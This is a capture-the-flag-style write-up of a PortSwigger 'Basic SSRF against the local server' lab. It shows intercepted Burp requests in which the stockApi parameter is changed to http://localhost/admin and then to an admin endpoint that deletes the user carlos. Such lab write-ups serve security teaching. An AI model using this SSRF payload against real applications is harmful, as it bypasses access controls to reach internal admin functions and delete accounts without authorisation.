

Basic SSRF against the local server

1. This lab has a stock check feature which fetches data from an internal system.
2. First, I try to access /admin page, but I don't have access. The access is allowed only if I logged in as administrator or requested it from loopback.
3. While browsing the application, I found function checking the stock. I checked the stock and intercepted the request, and I found an URL sent in the request.

```
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1
```

4. I tried to modify it to <http://localhost/admin> to access the admin panel from loopback and it already accessed.

Request	Response
Pretty	Pretty
Raw	Raw
Hex	Hex
Hackvator	Hackvator
<pre>1 POST /product/stock HTTP/2 2 Host: 0af700b70477304282620b6d00f90098.web-security-academy.net 3 Cookie: session=c7HW9PnNqaLkVAbVwCossheicZbNvh 4 Content-Length: 41 5 Sec-Ch-Ua-Platform: "Windows" 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 7 Sec-Ch-UA: "Google Chrome";v="141", "Not%4A_Brand";v="8", "Chromium";v="141" 8 Content-Type: application/x-www-form-urlencoded 9 Sec-Ch-UA-Mobile: ?0 10 Accept: /* 11 Origin: https://0af700b70477304282620b6d00f90098.web-security-academy.net 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: https://0af700b70477304282620b6d00f90098.web-security-academy.net/pro duct?productId=1 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7 18 Priority: u=1, i 19 20 stockApi=http://localhost/admin&storeId=1 </pre>	<pre>1 HTTP/2 200 OK 2 Content-Type: text/html; charset=utf-8 3 Cache-Control: no-cache 4 Set-Cookie: session=t1NqQXl400wBM3GoYciVZEVSBu0WMd33; Se X-Frame-Options: SAMEORIGIN 5 Content-Length: 3070 6 7 <!DOCTYPE html> 8 <html> 9 <head> 10 <link href="/resources/labheader/css/academyLab 11 <link href="/resources/css/labs.css rel=stylesheet 12 <title> 13 Basic SSRF against the local server 14 </title> 15 </head> 16 <body> 17 <script src="/resources/labheader/js/labHeader 18 <div id="academyLabHeader"> 19 <section class='academyLabBanner'> 20 <div class=container> 21 <div class=logo> 22 </div> 23 <div class=title-container> 24 <h2></pre>

5. Then, I completed the URL to delete carlos user and the user deleted successfully.

Request		Response			
	Pretty Raw Hex Hackvertor	Pretty	Raw	Hex	Render
1	POST /product/stock HTTP/2	1	HTTP/2 302 Found		
2	Host: 0af700b70477304282620b6d00f90098.web-security-academy.net	2	Location: /admin		
3	Cookie: session=c7HWSPnNgaAvYKAhVwCossh6iecZbNwh	3	Set-Cookie: session=pCLdQxAzMHdyof		
4	Content-Length: 64	4	X-Frame-Options: SAMEORIGIN		
5	Sec-Ch-Ua-Platform: "Windows"	5	Content-Length: 0		
6	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36	6			
7	Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"	7			
8	Content-Type: application/x-www-form-urlencoded				
9	Sec-Ch-Ua-Mobile: ?0				
10	Accept: */*				
11	Origin: https://0af700b70477304282620b6d00f90098.web-security-academy.net				
12	Sec-Fetch-Site: same-origin				
13	Sec-Fetch-Mode: cors				
14	Sec-Fetch-Dest: empty				
15	Referer: https://0af700b70477304282620b6d00f90098.web-security-academy.net/product?productId=1				
16	Accept-Encoding: gzip, deflate, br				
17	Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7				
18	Priority: u=1, i				
19					
20	stockApi=http://localhost/admin/delete?username=carlos&storeId=1				



Basic SSRF against the local server

LAB Solved

[Back to lab description >](#)

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) Continue learning >

[Home](#) | [My account](#)